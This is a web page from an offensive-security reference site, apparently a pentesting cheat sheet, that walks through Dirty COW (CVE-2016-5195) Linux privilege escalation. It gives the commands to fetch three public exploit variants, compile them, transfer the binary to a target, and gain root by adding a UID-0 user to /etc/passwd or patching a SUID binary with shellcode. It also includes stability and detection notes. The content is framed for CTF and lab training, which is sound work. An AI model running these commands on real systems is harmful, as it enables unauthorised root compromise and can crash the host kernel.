Skip to content
HackIndex logo

HackIndex

Dirty COW (CVE-2016-5195) – Legacy Kernel Privilege Escalation

4 min read Jul 10, 2026

Dirty COW is a race condition in the Linux kernel's copy-on-write implementation for memory-mapped files. An unprivileged user can exploit it to write to read-only file-backed memory mappings — including /etc/passwd and SUID binaries — without any special permissions. It affects a vast range of kernels from 2009 to 2016 and is the most widely encountered legacy kernel exploit in older CTF and lab environments.

Affected Versions

  • Linux kernel 2.6.22 through 4.8.3

  • Patched in: 4.8.3, 4.7.9, 4.4.26

Not affected: kernels 4.8.4 and above, modern distributions with kernel 5.x+.

For modern kernels (5.8+), use Dirty Pipe instead — see https://hackindex.io/platforms/linux/privilege-escalation/dirty-pipe-cve-2022-0847.

Prerequisites Check

Check kernel version:

user@host ~ $ uname -r
user@host ~ $ # Vulnerable: 2.6.22 - 4.8.3

Check architecture — most PoCs are x86_64, some have ARM variants:

user@host ~ $ uname -m
user@host ~ $ arch

Confirm there is a readable file to target (any SUID binary or /etc/passwd):

user@host ~ $ ls -la /etc/passwd
user@host ~ $ find / -perm -u=s -type f 2>/dev/null | head -5

Exploit 1 — /etc/passwd Overwrite (dirtycow-mem)

The most stable Dirty COW variant. Overwrites the password field of root in /etc/passwd to add a new root user with a known password.

Step 1 — Get the exploit:

┌──(kali㉿kali)-[~]
└─$ # On attack box
┌──(kali㉿kali)-[~]
└─$ wget https://raw.githubusercontent.com/firefart/dirtycow/master/dirty.c
┌──(kali㉿kali)-[~]
└─$ gcc -pthread -o dirty dirty.c -lcrypt
 
┌──(kali㉿kali)-[~]
└─$ # Transfer to target
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 8080
user@host ~ $ # On target
user@host ~ $ wget http://$LHOST:8080/dirty
user@host ~ $ chmod +x dirty

Step 2 — Run the exploit:

user@host ~ $ ./dirty

Or with a custom password:

user@host ~ $ ./dirty yournewpassword

The exploit adds a user firefart with root UID (0) to /etc/passwd. The default password is firefart.

Step 3 — Authenticate:

user@host ~ $ su firefart
user@host ~ $ # Password: firefart (or your custom password)
user@host ~ $ whoami
user@host ~ $ # root

Step 4 — Restore /etc/passwd:

The exploit saves a backup as /tmp/passwd.bak. After escalating, restore it:

user@host ~ $ cp /tmp/passwd.bak /etc/passwd

Exploit 2 — SUID Binary Patching (cowroot)

Overwrites a SUID binary with shellcode. More aggressive — use only if the /etc/passwd variant fails.

user@host ~ $ # Download
user@host ~ $ wget https://raw.githubusercontent.com/exrienz/DirtyCow/master/cowroot.c
user@host ~ $ gcc -pthread -o cowroot cowroot.c
 
user@host ~ $ # Specify the SUID binary to overwrite
user@host ~ $ ./cowroot /usr/bin/passwd

Exploit 3 — /proc/self/mem Variant (pokemon)

An older variant using /proc/self/mem to write directly to a read-only mapping. Less stable but works on some kernel configurations where other variants fail:

user@host ~ $ wget https://www.exploit-db.com/raw/40839 -O pokemon.c
user@host ~ $ gcc -pthread -o pokemon pokemon.c -lcrypt
user@host ~ $ ./pokemon
user@host ~ $ su firefart

Compile on Target Without gcc

If gcc is unavailable on the target, compile on your attack box. Match the target architecture:

user@host ~ $ # For x86_64 target
user@host ~ $ gcc -pthread -o dirty dirty.c -lcrypt
 
user@host ~ $ # For 32-bit target (compile on 64-bit attack box)
user@host ~ $ gcc -m32 -pthread -o dirty dirty.c -lcrypt
 
user@host ~ $ # Static compile to avoid libc dependency issues
user@host ~ $ gcc -pthread -static -o dirty dirty.c -lcrypt

Transfer the compiled binary — see https://hackindex.io/platforms/linux/privilege-escalation/privilege-escalation-enumeration-tools for transfer methods.

Stability Notes

Dirty COW can cause kernel crashes on some systems — it is a race condition and not every run will succeed cleanly. Signs of an unstable run:

  • The process hangs — kill it with Ctrl+C and try again

  • System becomes unresponsive — the race may have corrupted memory, reboot is needed

  • su firefart fails — the write may not have completed, run again

Run 2-3 times if the first attempt does not work. On stable targets (most lab VMs), it succeeds within 1-3 attempts.

Detection

Dirty COW exploitation is detectable in kernel logs:

user@host ~ $ dmesg | grep -i "dirty\|cow\|ptrace"

On modern monitoring systems, the /proc/self/mem write pattern and the race condition trigger are logged. In lab environments this is rarely monitored but worth noting in real assessments.

References